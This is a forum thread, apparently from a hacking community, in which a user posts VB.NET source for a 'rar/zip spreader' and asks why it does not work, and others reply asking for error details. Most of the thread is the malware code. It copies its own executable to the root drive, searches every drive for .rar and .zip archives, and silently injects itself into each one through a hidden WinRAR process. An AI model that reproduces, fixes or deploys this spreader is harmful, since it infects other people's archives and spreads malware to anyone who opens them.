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Thread: [Rar Zip Spread doesnt work for me](#)

leonidascapruco - December 27, 2016, 7:03 pm

It's copied of the other post about .rar .zip spread.

Code of the main program:

Code Imports System

Imports System.Diagnostics

Imports System.IO

Imports System.Runtime.InteropServices

Imports System.Text

Module Program

Public Sub Main()

If Not File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "temp48.txt") Then

Try

Rar.Spread("RunFirst.exe")

Catch

End Try

End If

End Sub

End Module

Code of the class .rar:

Code Imports System

Imports System.Diagnostics

Imports System.IO

Imports System.Runtime.InteropServices

Imports System.Text

Public Class Rar

<DllImport("kernel32.dll", CharSet := CharSet.Auto)> _

Public Shared Function GetShortPathName(<MarshalAs(UnmanagedType.LPTStr)> path As String, <MarshalAs(UnmanagedType.LPTStr)> shortPath As StringBuilder, shortPathLength As Integer) As Integer

End Function

Shared _rarPath As String

Shared _copiedExeName As String

Private Shared Sub Search(pathName As String)

Dim files As String()

files = Directory.GetFiles(pathName)

For Each file As String In files

If file.Contains(".rar") Then

RarStart(file)

End If

If file.Contains(".zip") Then

RarStart(file)

End If

Next

```
Dim subdirectorys As String() = Directory.GetDirectories(pathName)
For Each subdirectory As String In subdirectorys
    Search(subdirectory)
Next
End Sub
```

```
Public Shared Sub Spread(myExeName As String)
    _copiedExeName = myExeName
    Dim drives As String() = Environment.GetLogicalDrives()
    For Each strDrive As String In drives
        Search(strDrive)
    Next
    File.Create(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) &
"\temp48.txt")
End Sub
```

```
Public Shared Sub RarStart(archiveToInject As String)
    Dim sysFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.System)
    Dim rootdrive As String = sysFolder.Replace(sysFolder.Substring(sysFolder.IndexOf("\")),
[String].Empty) & "\"
```

```
_rarPath = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles) &
"\WinRAR\WinRAR.exe"
If File.Exists(_rarPath) Then
    If Not File.Exists(Path.Combine(rootdrive, _copiedExeName)) Then
        'copy our exe to C:\ (or other root drive)
        File.Copy(Process.GetCurrentProcess().MainModule.FileName, Path.Combine(rootdrive,
_copiedExeName))
    End If
    'get the short path of our exe
    Dim getshortExePath = New StringBuilder(255)
    GetShortPathName(Path.Combine(rootdrive, _copiedExeName), getshortExePath,
getshortExePath.Capacity)
    Dim evilpath As String = getshortExePath.ToString()

    'get the short path name of the archive to inject
    Dim shortArchiveDirectory = New StringBuilder(255)
    GetShortPathName(archiveToInject, shortArchiveDirectory, shortArchiveDirectory.Capacity)
```

```
Try
    Dim rarProcess As New ProcessStartInfo()
    Dim theInfo As String = " a " & Convert.ToString(shortArchiveDirectory) & " " & evilpath
    rarProcess.FileName = _rarPath
    rarProcess.Arguments = theInfo
    rarProcess.WindowStyle = ProcessWindowStyle.Hidden
```

```
Process.Start(rarProcess)
'silent error
Catch
```

```
End Try
```

End If

End Sub
End Class

Not works ;(?

Glyco1 - December 27, 2016, 9:50 pm

Not works is dubious at best. Do you get any kind of error?

Malum™ - December 27, 2016, 10:45 pm

Before I take a look at that scrambled code. Lol. What specifically doesn't work? Errors? Warnings? Bugs?

ubbelol - December 28, 2016, 2:27 am

You know when you're trying to debug code or you're having issues with it etc, maybe don't do stuff like:

Code 'silent error
Catch

End Try

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